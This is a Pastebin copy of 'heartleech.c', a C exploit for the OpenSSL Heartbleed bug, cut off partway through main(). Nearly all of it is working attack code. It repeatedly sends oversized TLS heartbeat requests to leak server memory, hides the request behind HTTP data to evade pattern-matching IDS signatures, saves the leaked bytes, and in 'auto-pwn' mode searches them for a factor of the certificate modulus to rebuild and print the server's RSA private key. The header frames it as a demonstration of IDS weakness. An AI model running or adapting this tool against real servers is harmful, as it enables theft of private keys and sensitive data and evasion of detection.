Advertisement
opexxx

heartleech.c

Apr 16th, 2014
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 30.53 KB | None | 0 0
  1. /*
  2.    
  3.     HEARTLEECH
  4.  
  5.     A program for exploiting Neel Mehta's "HeartBleed" bug. This program has
  6.     the following features:
  7.    
  8.     IDS EVASION: the purpose of writing this program is to demonstrate the
  9.     inadequacy of "pattern-match" intrusion detection system. The signatures
  10.     released after heartbleed for Snort-like IDS trigger on the bytes "18 03"
  11.     in the first two bytes of TCP payload. This program sticks those bytes
  12.     deeper in the payload, demonstrating pattern-matching is a flawed approach
  13.     to IDS. The correct approach is to analyze the SSL protocol. The
  14.     open-source project Bro does protocol analysis, and can therefore detect
  15.     this program, as do most commercial vendors.
  16.  
  17.     ENCRYPTED BLEEDS: This program completes the SSL handshake, so that the
  18.     bled data is encrypted on the network. This also avoids angry log
  19.     messages complaining about truncated handshakes.
  20.  
  21.     REPEATED REQUESTS: This program can sit in an endless loop requesting
  22.     hearbeats over and over again.
  23.  
  24.     IPV6: This program supports IPv6 as well as IPv4.
  25.  
  26.     NOTES ON ASYNC/MEM-BIO: Normal use of the OpenSSL library takes care of
  27.     sockets communication for you. This program uses the library differently,
  28.     handling TCP/IP sockets completely separate from SSL. It does this so
  29.     that it can stick the heartbeat request after the data in the same packet
  30.     for IDS evasion. I point this out because this is a good style for using
  31.     OpenSSL for things that require asynchronous communication, where you
  32.     can't have normal socket operations.
  33. */
  34.  
  35. /*
  36.  * Legacy Windows stuff
  37.  */
  38. #define _CRT_SECURE_NO_WARNINGS 1
  39. #if defined(WIN32)
  40. #include <WinSock2.h>
  41. #include <WS2tcpip.h>
  42. #define snprintf _snprintf
  43. #define sleep(secs) Sleep(1000*(secs))
  44. #else
  45. #include <sys/types.h>
  46. #include <sys/socket.h>
  47. #include <netdb.h>
  48. #include <arpa/inet.h>
  49. #include <unistd.h>
  50. #define WSAGetLastError() (errno)
  51. #define closesocket(fd) close(fd)
  52. #endif
  53. #if defined(_MSC_VER)
  54. #pragma comment(lib, "ws2_32")
  55. #pragma comment(lib, "libeay32.lib")
  56. #pragma comment(lib, "ssleay32.lib")
  57. #endif
  58.  
  59. /*
  60.  * OpenSSL specific includes. We also define an OpenSSL internal
  61.  * function that is normally not exposed in include files, so
  62.  * that we can format our 'bleed' manually.
  63.  */
  64. #include <openssl/ssl.h>
  65. #include <openssl/bio.h>
  66. #include <openssl/err.h>
  67. #include <openssl/rsa.h>
  68.  
  69. int ssl3_write_bytes(SSL *s, int type, const void *buf_, int len);
  70.  
  71. #ifndef TLS1_RT_HEARTBEAT
  72. #define TLS1_RT_HEARTBEAT 24
  73. #endif
  74.  
  75. /*
  76.  * Stand C includes
  77.  */
  78. #include <ctype.h>
  79. #include <stdio.h>
  80. #include <string.h>
  81. #include <stdarg.h>
  82.  
  83. /*
  84.  * Use '-d' option to get more verbose debug logging while running
  85.  * the scan
  86.  */
  87. int is_debug = 0;
  88.  
  89. /**
  90.  * Arguments for the heartbleed callback function. We read these from the
  91.  * command line and pass them to the threads
  92.  */
  93. struct DumpArgs {
  94.     unsigned is_alert;
  95.     FILE *fp;
  96.     const char *filename;
  97.     const char *hostname;
  98.     const char *cert_filename;
  99.     const char *offline_filename;
  100.     unsigned is_error;
  101.     unsigned is_auto_pwn;
  102.     unsigned is_rand_size;
  103.     unsigned loop_count;
  104.     unsigned ip_ver;
  105.     unsigned port;
  106.     size_t byte_count;
  107.     unsigned long long total_bytes;
  108.     BIGNUM n;
  109.     BIGNUM e;
  110.     unsigned char buf[70000];
  111. };
  112.  
  113. /****************************************************************************
  114.  ****************************************************************************/
  115. int ERROR_MSG(const char *fmt, ...)
  116. {
  117.     va_list marker;
  118.     va_start(marker, fmt);
  119.     vfprintf(stderr, fmt, marker);
  120.     va_end(marker);
  121.     return -1;
  122. }
  123.  
  124. int DEBUG_MSG(const char *fmt, ...)
  125. {
  126.     va_list marker;
  127.     if (!is_debug)
  128.         return 0;
  129.     va_start(marker, fmt);
  130.     vfprintf(stderr, fmt, marker);
  131.     va_end(marker);
  132.     return -1;
  133. }
  134.  
  135.  
  136. /****************************************************************************
  137.  ****************************************************************************/
  138. void
  139. hexdump(const unsigned char *buf, size_t len)
  140. {
  141.     size_t i;
  142.    
  143.     for (i=0; i<len; i += 16) {
  144.         size_t j;
  145.  
  146.         printf("%04x ", i);
  147.         for (j=i; j<len && j<i+16; j++) {
  148.             printf("%02x ", buf[j]);
  149.         }
  150.         for ( ; j<i+16; j++)
  151.             printf("   ");
  152.  
  153.         for (j=i; j<len && j<i+16; j++) {
  154.             if (isprint(buf[j]) && !isspace(buf[j]))
  155.                 printf("%c", buf[j]);
  156.             else
  157.                 printf(".");
  158.         }
  159.         printf("\n");
  160.     }
  161. }
  162.  
  163. /****************************************************************************
  164.  * This is the "callback" that receives the hearbeat data. Since
  165.  * hearbeat is a control function and not part of the normal data stream
  166.  * it can't be read normally. Instead, we have to install a hook within
  167.  * the OpenSSL core to intercept them.
  168.  ****************************************************************************/
  169. void
  170. dump_bytes(int write_p, int version, int content_type,
  171.             const void *vbuf, size_t len, SSL *ssl,
  172.             void *arg)
  173. {
  174.     struct DumpArgs *args = (struct DumpArgs*)arg;
  175.     const unsigned char *buf = (const unsigned char *)vbuf;
  176.  
  177.     /*
  178.      * Ignore anything that isn't a "hearbeat". This function hooks
  179.      * every OpenSSL-internal message, but we only care about
  180.      * the hearbeats.
  181.      */
  182.     switch (content_type) {
  183.     case SSL3_RT_CHANGE_CIPHER_SPEC: /* 20 */
  184.     case SSL3_RT_HANDSHAKE: /* 22 */
  185.     case SSL3_RT_APPLICATION_DATA: /* 23 */
  186.     case 256: /* ???? why this? */
  187.         return;
  188.     case SSL3_RT_ALERT: /* 21 */
  189.         DEBUG_MSG("[-] ALERT\n");
  190.         args->is_alert = 1;
  191.         return;
  192.     case TLS1_RT_HEARTBEAT:
  193.         break; /* handle below */
  194.     default:
  195.         ERROR_MSG("[-] msg_callback:%u: unknown type seen\n", content_type);
  196.         return;
  197.     }
  198.  
  199.     /*
  200.      * Inform user that we got some bleeding data
  201.      */
  202.     DEBUG_MSG("[+] %5u-bytes bleed received\n", (unsigned)len);
  203.  
  204.     /*
  205.      * Copy this to the buffer
  206.      */
  207.     if (len > sizeof(args->buf) - args->byte_count)
  208.         len = sizeof(args->buf) - args->byte_count;
  209.     memcpy(args->buf + args->byte_count, buf, len);
  210.     args->byte_count += len;
  211.  
  212.     /*
  213.      * Display bytes if not dumping to file
  214.      */
  215.     if (!args->fp && is_debug) {
  216.         hexdump(buf, len);
  217.     }
  218. }
  219.  
  220.  
  221. /****************************************************************************
  222.  * Wrapper function for printing addresses, since the standard
  223.  * "inet_ntop()" function doesn't process both addresses equally
  224.  ****************************************************************************/
  225. static const char *
  226. my_inet_ntop(int family, struct sockaddr *sa, char *dst, size_t sizeof_dst)
  227. {
  228.     switch (family) {
  229.     case AF_INET:
  230.         inet_ntop(AF_INET, &(((struct sockaddr_in *)sa)->sin_addr),
  231.                 dst, sizeof_dst);
  232.         break;
  233.     case AF_INET6:
  234.         inet_ntop(AF_INET6, &(((struct sockaddr_in6 *)sa)->sin6_addr),
  235.                 dst, sizeof_dst);
  236.         break;
  237.     default:
  238.         dst[0] = '\0';
  239.     }
  240.  
  241.     return dst;
  242. }
  243.  
  244. /****************************************************************************
  245.  * Given two primes, generate an RSA key. From RFC 3447 Appendix A.1.2
  246.  *
  247.     RSAPrivateKey ::= SEQUENCE {
  248.           version           Version,
  249.           modulus           INTEGER,  -- n
  250.           publicExponent    INTEGER,  -- e
  251.           privateExponent   INTEGER,  -- d
  252.           prime1            INTEGER,  -- p
  253.           prime2            INTEGER,  -- q
  254.           exponent1         INTEGER,  -- d mod (p-1)
  255.           exponent2         INTEGER,  -- d mod (q-1)
  256.           coefficient       INTEGER,  -- (inverse of q) mod p
  257.           otherPrimeInfos   OtherPrimeInfos OPTIONAL
  258.       }
  259.  ****************************************************************************/
  260. RSA *
  261. rsa_gen(const BIGNUM *p, const BIGNUM *q, const BIGNUM *e)
  262. {
  263.     BN_CTX *ctx = BN_CTX_new();
  264.     RSA *rsa = RSA_new();
  265.     BIGNUM p1[1], q1[1], r[1];
  266.  
  267.     BN_init(p1);
  268.     BN_init(q1);
  269.     BN_init(r);
  270.  
  271.     rsa->p = BN_new();
  272.     BN_copy(rsa->p, p);
  273.     rsa->q = BN_new();
  274.     BN_copy(rsa->q, q);
  275.     rsa->e = BN_new();
  276.     BN_copy(rsa->e, e);
  277.  
  278.     /*
  279.      * n - modulus (should be same as original cert, but we
  280.      * recalculate it here
  281.      */
  282.     rsa->n = BN_new();
  283.     BN_mul(rsa->n, rsa->p, rsa->q, ctx);
  284.  
  285.     /*
  286.      * d - the private exponent
  287.      */
  288.     rsa->d = BN_new();
  289.     BN_sub(p1, rsa->p, BN_value_one());
  290.     BN_sub(q1, rsa->q, BN_value_one());
  291.     BN_mul(r,p1,q1,ctx);
  292.     BN_mod_inverse(rsa->d, rsa->e, r, ctx);
  293.  
  294.     /* calculate d mod (p-1) */
  295.     rsa->dmp1 = BN_new();
  296.     BN_mod(rsa->dmp1, rsa->d, rsa->p, ctx);
  297.  
  298.     /* calculate d mod (q-1) */
  299.     rsa->dmq1 = BN_new();
  300.     BN_mod(rsa->dmq1, rsa->d, rsa->q, ctx);
  301.  
  302.     /* calculate inverse of q mod p */
  303.     rsa->iqmp = BN_new();
  304.     BN_mod_inverse(rsa->iqmp, rsa->q, rsa->p, ctx);
  305.  
  306.  
  307.  
  308.     BN_free(p1);
  309.     BN_free(q1);
  310.     BN_free(r);
  311.  
  312.     BN_CTX_free(ctx);
  313.  
  314.     return rsa;
  315. }
  316.  
  317. /****************************************************************************
  318.  * This function searches a buffer looking for a prime that is a factor
  319.  * of the public key
  320.  ****************************************************************************/
  321. int
  322. find_private_key(const BIGNUM *n, const BIGNUM *e,
  323.                  const unsigned char *buf, size_t buf_length)
  324. {
  325.     size_t i;
  326.     int prime_length = n->top * sizeof(BN_ULONG);
  327.     BN_CTX *ctx;
  328.     BIGNUM p;
  329.     BIGNUM dv;
  330.     BIGNUM rem;
  331.  
  332.     BN_init(&dv);
  333.     BN_init(&rem);
  334.     BN_init(&p);
  335.  
  336.     /* Need enough target data to hold at least one prime number */
  337.     if (buf_length < (size_t)prime_length)
  338.         return 0;
  339.  
  340.     ctx = BN_CTX_new();
  341.  
  342.     /* Go forward one byte at a time through the buffer */
  343.     for (i=0; i<buf_length-prime_length; i++) {
  344.  
  345.         /* Grab a possible little-endian prime number from the buffer.
  346.          * [NOTE] this assumes the target machine and this machine have
  347.          * roughly the same CPU (i.e. x86). If the target machine is
  348.          * a big-endian SPARC, but this machine is a little endian x86,
  349.          * then this technique won't work.*/
  350.         p.d = (BN_ULONG*)(buf+i);
  351.         p.dmax = n->top/2;
  352.         p.top = p.dmax;
  353.        
  354.         /* [optimization] Only process odd numbers, because even numbers
  355.          * aren't prime. This doubles the speed. */
  356.         if (!(p.d[0]&1))
  357.             continue;
  358.  
  359.         /* [optimization] Make sure the top bits aren't zero. Firstly,
  360.          * this won't be true for the large primes in question. Secondly,
  361.          * a lot of bytes in dumps are zeroed out, causing this condition
  362.          * to be true a lot. Not only does this quickly weed out target
  363.          * primes, it takes BN_div() a very long time to divide when
  364.          * numbers have leading zeroes
  365.          */
  366.         if (p.d[p.top-1] == 0)
  367.             continue;
  368.  
  369.         /* Do the division, grabbing the remainder */
  370.         BN_div(&dv, &rem, n, &p, ctx);
  371.         if (!BN_is_zero(&rem))
  372.             continue;
  373.  
  374.         /* We have a match! Let's create an X509 certificate from this */
  375.         {
  376.             RSA *rsa;
  377.             BIO *out = BIO_new(BIO_s_file());
  378.  
  379.             fprintf(stderr, "\n");
  380.             BIO_set_fp(out,stdout,BIO_NOCLOSE);
  381.  
  382.             rsa = rsa_gen(&p, &dv, e);
  383.             PEM_write_bio_RSAPrivateKey(out, rsa, NULL, NULL, 0, NULL, NULL);
  384.  
  385.             /* the program doesn't need to continue */
  386.             exit(0);
  387.         }
  388.     }
  389.  
  390.     BN_free(&dv);
  391.     BN_free(&rem);
  392.     BN_CTX_free(ctx);
  393.  
  394.     return 0;
  395. }
  396.  
  397. /****************************************************************************
  398.  * After reading a chunk of data, this function will process that chunk.
  399.  * There are three things we might do with that data:
  400.  *  1. save to a file for later offline processing
  401.  *  2. search for private key
  402.  *  3. hexdump to the command-line
  403.  ****************************************************************************/
  404. void
  405. process_bleed(struct DumpArgs *args)
  406. {
  407.     size_t x;
  408.  
  409.     if (args->byte_count == 0)
  410.         return;
  411.     args->total_bytes += args->byte_count;
  412.  
  413.     if (args->fp) {
  414.         x = fwrite(args->buf, 1, args->byte_count, args->fp);
  415.         if (x != args->byte_count) {
  416.             ERROR_MSG("[-] %s: %s\n", args->filename, strerror(errno));
  417.         }
  418.     }
  419.  
  420.     if (args->is_auto_pwn) {
  421.         if (find_private_key(&args->n, &args->e, args->buf, args->byte_count)) {
  422.             printf("key found!\n");
  423.             exit(1);
  424.         }
  425.  
  426.     }
  427.  
  428.     fflush(args->fp);
  429.     args->byte_count = 0;
  430. }
  431.  
  432. /****************************************************************************
  433.  * Parse details from a certificate. We use this in order to grab
  434.  * the 'modulus' from the certificate in order to crack it with
  435.  * patterns found in memory. This is called in two places. One is when
  436.  * we get the certificate from the server when connecting to it.
  437.  * The other is offline cracking from files.
  438.  ****************************************************************************/
  439. void
  440. parse_cert(X509 *cert, char name[512], BIGNUM *modulus, BIGNUM *e)
  441. {
  442.     X509_NAME *subj;
  443.     EVP_PKEY *rsakey;
  444.  
  445.     /* we grab the server's name for debugging perposes */
  446.     subj = X509_get_subject_name(cert);
  447.     if (subj) {
  448.         int len;
  449.         len = X509_NAME_get_text_by_NID(subj, NID_commonName,
  450.                                         name, 512);
  451.         if (len > 0) {
  452.             name[255] = '\0';
  453.             DEBUG_MSG("[+] servername = %s\n", name);
  454.         }
  455.     }
  456.  
  457.     /* we grab the 'modulus' (n) and the 'public exponenet' (e) for use
  458.      * with private key search in the data */
  459.     rsakey = X509_get_pubkey(cert);
  460.     if (rsakey && rsakey->type == 6) {
  461.         BIGNUM *n = rsakey->pkey.rsa->n;
  462.         memcpy(modulus, n, sizeof(*modulus));
  463.         memcpy(e, rsakey->pkey.rsa->e, sizeof(*e));
  464.         DEBUG_MSG("[+] RSA public-key length = %u-bits\n",
  465.                                     n->top * sizeof(BN_ULONG) * 8);
  466.     }
  467. }
  468.  
  469. /****************************************************************************
  470.  * This is the main threat that creates a TCP connection, negotiates
  471.  * SSL, and then starts sending queries at the server.
  472.  ****************************************************************************/
  473. int
  474. ssl_thread(const char *hostname, struct DumpArgs *args)
  475. {
  476.     int x;
  477.     struct addrinfo *addr;
  478.     ptrdiff_t fd;
  479.     SSL_CTX* ctx = 0;
  480.     SSL* ssl = 0;
  481.     BIO* rbio = 0;
  482.     BIO* wbio = 0;
  483.     size_t len;
  484.     char buf[16384];
  485.     char address[64];
  486.     char *http_request;
  487.     size_t total_bytes = 0;
  488.     char port[6];
  489.     time_t started;
  490.     time_t last_status = 0;
  491.  
  492.     /*
  493.      * Open the file if it exists
  494.      */
  495.     if (args->filename) {
  496.         args->fp = fopen(args->filename, "ab+");
  497.         if (args->fp == NULL) {
  498.             perror(args->filename);
  499.             return -1;
  500.         }
  501.     }
  502.     /*
  503.      * Format the HTTP request. We need to stick the "Host:" header in
  504.      * the correct place in the header
  505.      */
  506.     {
  507.         static const char *prototype =
  508.                 "GET / HTTP/1.1\r\n"
  509.                 "Host: \r\n"
  510.                 "User-agent: test/1.0\r\n"
  511.                 "Connection: keep-alive\r\n"
  512.                 "\r\n";
  513.         size_t prefix;
  514.         http_request = (char*)malloc(strlen(prototype)+strlen(hostname)+1);
  515.         memcpy(http_request, prototype, strlen(prototype)+1);
  516.         prefix = strstr(prototype, "Host: ") - prototype + 6;
  517.         memcpy(http_request + prefix, hostname, strlen(hostname));
  518.         memcpy( http_request + prefix + strlen(hostname),
  519.                 prototype + prefix,
  520.                 strlen(prototype+prefix) + 1);
  521.     }
  522.  
  523.    
  524.    
  525.     /*
  526.      * Do the DNS lookup. A hostname may have multiple IP addresses, so we
  527.      * print them all for debugging purposes. Normally, we'll just pick
  528.      * the first address to use, but we allow the user to optionally
  529.      * select the first IPv4 or IPv6 address with the -v option.
  530.      */
  531.     snprintf(port, sizeof(port), "%u", args->port);
  532.     DEBUG_MSG("[ ] resolving \"%s\"\n", hostname);
  533.     x =  getaddrinfo(hostname, port, 0, &addr);
  534.     if (x != 0) {
  535.         return ERROR_MSG("[-] %s: DNS lookup failed\n", hostname);
  536.     } else if (is_debug) {
  537.         struct addrinfo *a;
  538.         for (a=addr; a; a = a->ai_next) {
  539.             my_inet_ntop(a->ai_family, a->ai_addr, address, sizeof(address));
  540.             DEBUG_MSG("[+]  %s\n", address);
  541.         }
  542.         DEBUG_MSG("\n");
  543.     }
  544.     while (addr && args->ip_ver == 4 && addr->ai_family != AF_INET)
  545.         addr = addr->ai_next;
  546.     while (addr && args->ip_ver == 6 && addr->ai_family != AF_INET6)
  547.         addr = addr->ai_next;
  548.     if (addr == NULL)
  549.         return ERROR_MSG("IPv%u address not found\n", args->ip_ver);
  550.     my_inet_ntop(addr->ai_family, addr->ai_addr, address, sizeof(address));
  551.  
  552.    
  553.    
  554.     /*
  555.      * Create a normal TCP socket
  556.      */
  557.     fd = socket(addr->ai_family, SOCK_STREAM, 0);
  558.     if (fd < 0)
  559.         return ERROR_MSG("%u: could not create socket\n", addr->ai_family);
  560.  
  561.    
  562.    
  563.     /*
  564.      * Do a normal TCP connect to the target IP address, sending a SYN and
  565.      * so on
  566.      */
  567.     DEBUG_MSG("[ ] %s: connecting...\n", address);
  568.     x = connect(fd, addr->ai_addr, (int)addr->ai_addrlen);
  569.     if (x != 0) {
  570.         ERROR_MSG("%s: connect failed err=%d\n", address, WSAGetLastError());
  571.         sleep(1);
  572.         return 0;
  573.     }
  574.     DEBUG_MSG("[+] %s: connected\n", address);
  575.  
  576.    
  577.    
  578.     /*
  579.      * Initialize SSL structures. Specifically, we initialize them with
  580.      * "memory" BIO instead of normal "socket" BIO, because we are handling
  581.      * the socket communications ourselves, and are just using BIO to
  582.      * encrypt outgoing buffers and decrypt incoming buffers.
  583.      */
  584.     ctx = SSL_CTX_new(SSLv23_client_method());
  585.     SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL);
  586.     ssl = SSL_new(ctx);
  587.     rbio = BIO_new(BIO_s_mem());
  588.     wbio = BIO_new(BIO_s_mem());
  589.     SSL_set_bio(ssl, rbio, wbio);
  590.     SSL_set_connect_state(ssl);
  591.     SSL_set_msg_callback(ssl, dump_bytes);
  592.     SSL_set_msg_callback_arg(ssl, (void*)args);
  593.     args->is_alert = 0;
  594.    
  595.    
  596.     /*
  597.      * SSL handshake (rerouting the encryptions). This is an ASYNCHROUNOUS
  598.      * technique using our own sockets and "memory BIO". It's not the normal
  599.      * use of the API that you'd expect. We have to do do the send()/recv()
  600.      * ourselves on sockets, then pass then through to the SSL layer
  601.      */
  602.     DEBUG_MSG("[ ] SSL handshake started...\n");
  603.     for (;;) {
  604.         len = BIO_pending(wbio);
  605.         if (len) {
  606.             if (len > sizeof(buf))
  607.                 len = sizeof(buf);
  608.             BIO_read(wbio, buf, (int)len);
  609.             x = send(fd, buf, (int)len, 0);
  610.             if (x <= 0) {
  611.                 ERROR_MSG("[-] %s:%s send fail\n", address, port);
  612.                 goto end;
  613.             }
  614.         }
  615.  
  616.         x = SSL_connect(ssl);
  617.         if (x >= 0)
  618.             break; /* success! */
  619.         if (x == -1 && SSL_get_error(ssl, x) == SSL_ERROR_WANT_READ) {
  620.             char buf[16384];
  621.             struct timeval tv;
  622.             fd_set readset;
  623.  
  624.             FD_ZERO(&readset);
  625.             FD_SET(fd, &readset);
  626.             tv.tv_sec = 0;
  627.             tv.tv_usec = 1000;
  628.             x = select((int)fd+1, &readset, NULL, NULL, &tv);
  629.             if (x > 0) {
  630.                 x = recv(fd, buf, sizeof(buf), 0);
  631.                 if (x > 0) {
  632.                     if (x >= 2 && memcmp(buf, "\x18\x03", 2) == 0) {
  633.                         fprintf(stderr, "[-] '18 03' PACKET HEADER, POSSIBLE IDS TRIGGER\n");
  634.                     }
  635.                     BIO_write(rbio, buf, x);
  636.                 }
  637.             }
  638.         } else {
  639.             ERROR_MSG("[-] %s:%s: SSL handshake failed: %d\n",
  640.                                      address, port, SSL_get_error(ssl, 0));
  641.             goto end;
  642.         }
  643.     }
  644.     DEBUG_MSG("[+] %s:%s: SSL handshake complete [%s]\n",
  645.                                         address, port, SSL_get_cipher(ssl));
  646.  
  647.  
  648.     /*
  649.      * Get the peer certificate name. We do this so that we can
  650.      * automatically scan the heartbleed information for
  651.      * private key information
  652.      */
  653.     {
  654.         X509 *cert;
  655.         char name[512];
  656.  
  657.         cert = SSL_get_peer_certificate(ssl);
  658.         if (cert) {
  659.             parse_cert(cert, name, &args->n, &args->e);
  660.             X509_free(cert);
  661.         }
  662.     }
  663.  
  664.    
  665.     /*
  666.      * Loop many times
  667.      */
  668. again:
  669.     if (args->loop_count-- == 0) {
  670.         ERROR_MSG("[-] loop-count = 0\n");
  671.         goto end;
  672.     }
  673.  
  674.     /*
  675.      * Print how many bytes we've downloaded on command-line
  676.      */
  677.     if (last_status + 1 <= time(0)) {
  678.         fprintf(stderr, "%llu bytes downloaded\r", args->total_bytes);
  679.         last_status = time(0);
  680.     }
  681.  
  682.     /*
  683.      * If we have a buffer, flush it to the file
  684.      */
  685.     if (args->byte_count) {
  686.         process_bleed(args);
  687.     }
  688.  
  689.     /*
  690.      * Send the HTTP request (encrypt) and Heartbeat request. This causes
  691.      * the hearbeat request to happen at the end of the packet instead of the
  692.      * front, thus evading pattern-match IDS
  693.      */
  694.     ssl3_write_bytes(ssl, SSL3_RT_APPLICATION_DATA,
  695.                             http_request, (int)strlen(http_request));
  696.     if (args->is_rand_size) {
  697.         unsigned size = rand();
  698.         char rbuf[3];
  699.         if (size <= 128)
  700.             size = 128;
  701.         rbuf[0] = 1;
  702.         rbuf[1] = (char)(size>>8);
  703.         rbuf[2] = (char)(size>>0);
  704.         ssl3_write_bytes(ssl, TLS1_RT_HEARTBEAT, rbuf, 3);
  705.     } else
  706.         ssl3_write_bytes(ssl, TLS1_RT_HEARTBEAT, "\x01\xff\xff", 3);
  707.  
  708.  
  709.  
  710.     /*
  711.      * Transmit both requests (data and heartbeat) in the same packet
  712.      */
  713.     DEBUG_MSG("[ ] transmitting requests\n");
  714.     while ((len = BIO_pending(wbio)) != 0) {
  715.         if (len > sizeof(buf))
  716.             len = sizeof(buf);
  717.         BIO_read(wbio, buf, (int)len);
  718.         x = send(fd, buf, (int)len, 0);
  719.         if (x <= 0) {
  720.             ERROR_MSG("[-] %s:%s: send fail\n", address, port);
  721.             goto end;
  722.         }
  723.     }
  724.  
  725.     /*
  726.      * Wait for the response. We are actually just waiting for the normal
  727.      * HTTP-layer response, but during the wait, callbacks to the
  728.      * "dump_bytes" function will happen.
  729.      */
  730.     DEBUG_MSG("[ ] waiting for response\n");
  731.     started = time(0);
  732.     for (;;) {
  733.         char buf[65536];
  734.         struct timeval tv;
  735.         fd_set readset;
  736.  
  737.         if (args->is_alert)
  738.             break;
  739.        
  740.         if (started + 5 < time(0))
  741.             break;
  742.  
  743.         /* Use 'select' to poll to see if there is data waiting for us
  744.          * from the network */
  745.         FD_ZERO(&readset);
  746.         FD_SET(fd, &readset);
  747.         tv.tv_sec = 0;
  748.         tv.tv_usec = 1000;
  749.         x = select((int)fd+1, &readset, NULL, NULL, &tv);
  750.         if (x > 0) {
  751.             x = recv(fd, buf, sizeof(buf), 0);
  752.             if (x > 0) {
  753.                 total_bytes += x;
  754.                 BIO_write(rbio, buf, x);
  755.             }
  756.         } else if (x < 0) {
  757.             ERROR_MSG("[-] socket err=%d\n", WSAGetLastError());
  758.             break;
  759.         }
  760.  
  761.         /*
  762.          * Use the SSL function to decrypt the data that was put into the
  763.          * BIO memory buffers above in the sockets.recv()/BIO_write()
  764.          * combination.
  765.          */
  766.         x = SSL_read(ssl, buf, sizeof(buf));
  767.         if (x < 0 || SSL_get_error(ssl, x) == SSL_ERROR_WANT_READ)
  768.             ;
  769.         else if (x < 0) {
  770.             x = SSL_get_error(ssl, x);
  771.  
  772.             ERROR_MSG("[-] SSL error received\n");
  773.             ERR_print_errors_fp(stderr);
  774.             break;
  775.         } else if (x > 0) {
  776.             DEBUG_MSG("[+] %d-bytes data received\n", x);
  777.             if (is_debug)
  778.             if (memcmp(buf, "HTTP/1.", 7) == 0 && strchr(buf, '\n')) {
  779.                 size_t i;
  780.                 fprintf(stderr, "[+] ");
  781.                 for (i=0; i<(size_t)x && buf[i] != '\n'; i++) {
  782.                     if (buf[i] == '\r')
  783.                         continue;
  784.                     if (isprint(buf[i])&0xFF)
  785.                         fprintf(stderr, "%c", buf[i]&0xFF);
  786.                     else
  787.                         fprintf(stderr, ".");
  788.                 }
  789.                 fprintf(stderr, "\n");
  790.             }
  791.             goto again;
  792.         }
  793.     }
  794.  
  795.     /*
  796.      * We've either reached our loop limit or the other side closed the
  797.      * connection
  798.      */
  799.     DEBUG_MSG("[+] connection terminated\n");
  800. end:
  801.     process_bleed(args);
  802.     SSL_free(ssl);
  803.     SSL_CTX_free(ctx);
  804.     closesocket(fd);
  805.     if (args->fp) {
  806.         fclose(args->fp);
  807.         args->fp = NULL;
  808.     }
  809.     return 0;
  810. }
  811.  
  812. /****************************************************************************
  813.  * Process the files produced by this tool, or other tools, looking for
  814.  * the private key in the given certificate.
  815.  ****************************************************************************/
  816. void
  817. process_offline_file(const char *filename_cert, const char *filename_bin)
  818. {
  819.     FILE *fp;
  820.     X509 *cert;
  821.     char name[512];
  822.     BIGNUM modulus;
  823.     BIGNUM e;
  824.     unsigned long long offset = 0;
  825.     unsigned long long last_offset = 0;
  826.  
  827.     /*
  828.      * Read in certificate
  829.      */
  830.     fp = fopen(filename_cert, "rb");
  831.     if (fp == NULL) {
  832.         perror(filename_cert);
  833.         return;
  834.     }
  835.     cert = PEM_read_X509(fp, NULL, NULL, NULL);
  836.     if (cert == NULL) {
  837.         fprintf(stderr, "%s: error parsing certificate\n", filename_cert);
  838.         fclose(fp);
  839.         return;
  840.     }
  841.     fclose(fp);
  842.     parse_cert(cert, name, &modulus, &e);
  843.  
  844.     /*
  845.      * Read in the file to process
  846.      */
  847.     fp = fopen(filename_bin, "rb");
  848.     if (fp == NULL) {
  849.         perror(filename_bin);
  850.         goto end;
  851.     }
  852.     while (!feof(fp)) {
  853.         unsigned char buf[65536 + 18];
  854.         size_t bytes_read;
  855.  
  856.         bytes_read = fread(buf, 1, sizeof(buf), fp);
  857.         if (bytes_read == 0)
  858.             break;
  859.  
  860.         if (find_private_key(&modulus, &e, buf, bytes_read)) {
  861.             fprintf(stderr, "found: offset=%llu\n", offset);
  862.             exit(1);
  863.         }
  864.  
  865.         offset += bytes_read;
  866.  
  867.         if (offset > last_offset + 1024*1024) {
  868.             printf("%llu bytes read\n", offset);
  869.             last_offset = offset;
  870.         }
  871.     }
  872.     fclose(fp);
  873.  
  874.  
  875.    
  876.     end:
  877.     X509_free(cert);
  878. }
  879.  
  880.  
  881.  
  882. /****************************************************************************
  883.  ****************************************************************************/
  884. int
  885. main(int argc, char *argv[])
  886. {
  887.     int i;
  888.     struct DumpArgs args;
  889.  
  890.     memset(&args, 0, sizeof(args));
  891.     args.port = 443;
  892.     args.loop_count = 1000000;
  893.  
  894.     if (argc <= 1 ) {
  895. usage:
  896.         printf("\n");
  897.         printf("usage:\n heartleech -t<hostname> -f<filename> [-l<loops>] [-p<port>] [-v<IPver>]  ...\n");
  898.         printf(" <hostname> is a DNS name or IP address of the target\n");
  899.         printf(" <filename> is where the binary heartbleed information is stored\n");
  900.         printf(" <loops> is the number of repeated attempts to grab the informaiton\n");
  901.         printf(" <port> is the port number, defaulting to 443\n");
  902.         printf(" <IPver> is the IP version (4 or 6)\n");
  903.         return 1;
  904.     }
  905.  
  906.  
  907.     /*
  908.      * One-time program startup stuff for legacy Windows.
  909.      */
  910. #if defined(WIN32)
  911.     {WSADATA x; WSAStartup(0x101,&x);}
  912. #endif
  913.  
  914.  
  915.     /*
  916.      * One-time program startup stuff for OpenSSL.
  917.      */
  918.     CRYPTO_malloc_init();
  919.     SSL_library_init();
  920.     SSL_load_error_strings();
  921.     ERR_load_BIO_strings();
  922.     OpenSSL_add_all_algorithms();
  923.  
  924.     /*
  925.      * Parse the program options
  926.      */
  927.     for (i=1; i<argc; i++) {
  928.         char c;
  929.         const char *arg;
  930.  
  931.         /* All parameters start with the standard '-' */
  932.         if (argv[i][0] != '-') {
  933.             if (args.hostname == NULL) {
  934.                 args.hostname = argv[i];
  935.                 continue;
  936.             } else {
  937.                 fprintf(stderr, "%s: unknown option\n", argv[i]);
  938.                 goto usage;
  939.             }
  940.         }
  941.  
  942.         /*
  943.          * parameters can be either of two ways:
  944.          * -twww.google.com
  945.          * -t www.google.com
  946.          */
  947.         c = argv[i][1];
  948.         if (c == 'd' || c == 'a')
  949.             ;
  950.         else if (argv[i][2] == '\0') {
  951.             arg = argv[++i];
  952.             if (i >= argc) {
  953.                 fprintf(stderr, "-%c: missing parameter\n", c);
  954.                 goto usage;
  955.             }
  956.         } else
  957.             arg = argv[i] + 2;
  958.  
  959.         /*
  960.          * Get the parameter
  961.          */
  962.         switch (c) {
  963.         case 'a':
  964.             args.is_auto_pwn = 1;
  965.             break;
  966.         case 'c':
  967.             args.cert_filename = arg;
  968.             break;
  969.         case 'd':
  970.             is_debug++;
  971.             break;
  972.         case 't':
